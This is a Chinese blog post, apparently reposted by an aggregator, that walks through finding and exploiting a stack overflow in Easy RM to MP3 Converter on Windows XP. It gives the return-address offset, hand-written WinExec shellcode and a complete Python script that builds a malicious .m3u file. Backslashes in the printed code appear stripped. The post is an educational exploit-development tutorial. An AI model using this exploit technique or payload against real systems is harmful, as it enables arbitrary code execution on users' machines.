Easy RM to MP3 Converter栈溢出定位及漏洞利用

Posted snip3r

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Easy RM to MP3 Converter栈溢出定位及漏洞利用相关的知识,希望对你有一定的参考价值。

  本文主要是Easy RM to MP3 Converter(MFC++编写)栈溢出的定位及windows下shellcode编写的一些心得。

  用到的工具及漏洞程序下载地址https://github.com/5N1p3R0010/Easy-RM-to-MP3-Converter

 

  首先,在填充字符为10000和20000时,异常被捕捉到

技术分享图片

在填充字符为30000时,程序崩溃

技术分享图片

 

  查看程序使用MFC++编写,所以这里我们用静态分析的方法定位漏洞(用污点分析的方法应该很容易动态定位这个漏洞,但菜鸡我并不会)

  首先把程序拖入IDBG,查找字符串引用。因为程序是在读取文件的时候崩溃的,所以找到click "Load"字符串,跟进即为load的处理函数

技术分享图片

  在IDA里查找这个字符串(4465F8)的交叉引用,可以看到第二个是他的处理函数

技术分享图片

  跟进函数发现sub_41E2B0在进行拷贝的时候没有检测长度

技术分享图片

 

  然后定位一下需要覆盖的栈内容长度

  因为程序是在覆盖20000到30000之间崩溃的,所以用二分法构造一个payload=‘x41‘*25000+pattern5000,其中pattern5000用pattern.py生成便于计算偏移量。这样如果崩溃时的eip=41414141,则继续构造payload=‘x41‘*20000+pattern5000计算偏移;否则直接计算偏移即可。

在xp_en_sp2上得到的eip及偏移(这个值经我测试在不同系统上是不同的)

技术分享图片

技术分享图片

所以这里我们构造一个payload=‘x41‘*26076+addr_of_jmp_esp+nop+shellcode

 

  关于shellcode,在exploit-db上找了几个shellcode都不能成功运行,所以最后决定自己编写

.386
    .model flat,stdcall
    option casemap:none

include     C:masm32includewindows.inc
include     C:masm32includeuser32.inc
includelib  C:masm32libuser32.lib
include     C:masm32includekernel32.inc
includelib  C:masm32libkernel32.lib
    
    .code
start:
;WinExec("calc",5)
xor eax,eax
push eax
mov eax,6578652Eh
push eax
mov eax,636c6163h
push eax
mov eax,esp
push 5
push eax
mov eax,77E6E695h;kernel32.winexec(),需要调试确定
call eax

end start

 关于向栈内push内容,可以手动hexeditor把要压入的内容逆序,也可以用分享的一个perl脚本pushString.pl来确定

技术分享图片

(这里忽略第一行的空字节压栈)

读取编译好的字节码也可以用分享的perl脚本readbin.pl确定

技术分享图片

这里可以对照OD确定机器码的起始位置。

完整exp如下

f=open(pwn.m3u,w)
exp=x41*26076
exp+=xedx1ex94x7c#addr_of_jmp_esp
exp+=x90*4
exp+="x33xc0x50xb8x2ex65x78x65x50xb8x63x61x6cx63x50x8bxc4x6ax05x50xb8x4dx11x86x7cxffxd0x33xc0x50xb8x87x2axe3x77xffxd0x33xc0x50xb8x87x2axe3x77xffxd0x00"
f.write(exp)
f.close()

 

 这里nop的数量需要根据调试确定,填充nop的原因跟函数的返回值有关。nop数量的确定可以用windbg附加程序,在jmp esp的地址下断点。

在断点处栈回溯(不添加nop时),发现shellcode并没有被完全执行

技术分享图片

继续查看栈的内容发现addr_of_jmp_esp和jmp esp执行时有四字节的内容没有被执行,所以填充4字节的nop

技术分享图片

填充4字节nop后,pwned

技术分享图片

PS:在利用前需要注意的一点是需要把calc.exe添加系统环境变量或者把calc.exe添加到漏洞程序目录下,这跟winexec执行时加载的过程有关https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-winexec

以上是关于Easy RM to MP3 Converter栈溢出定位及漏洞利用的主要内容,如果未能解决你的问题,请参考以下文章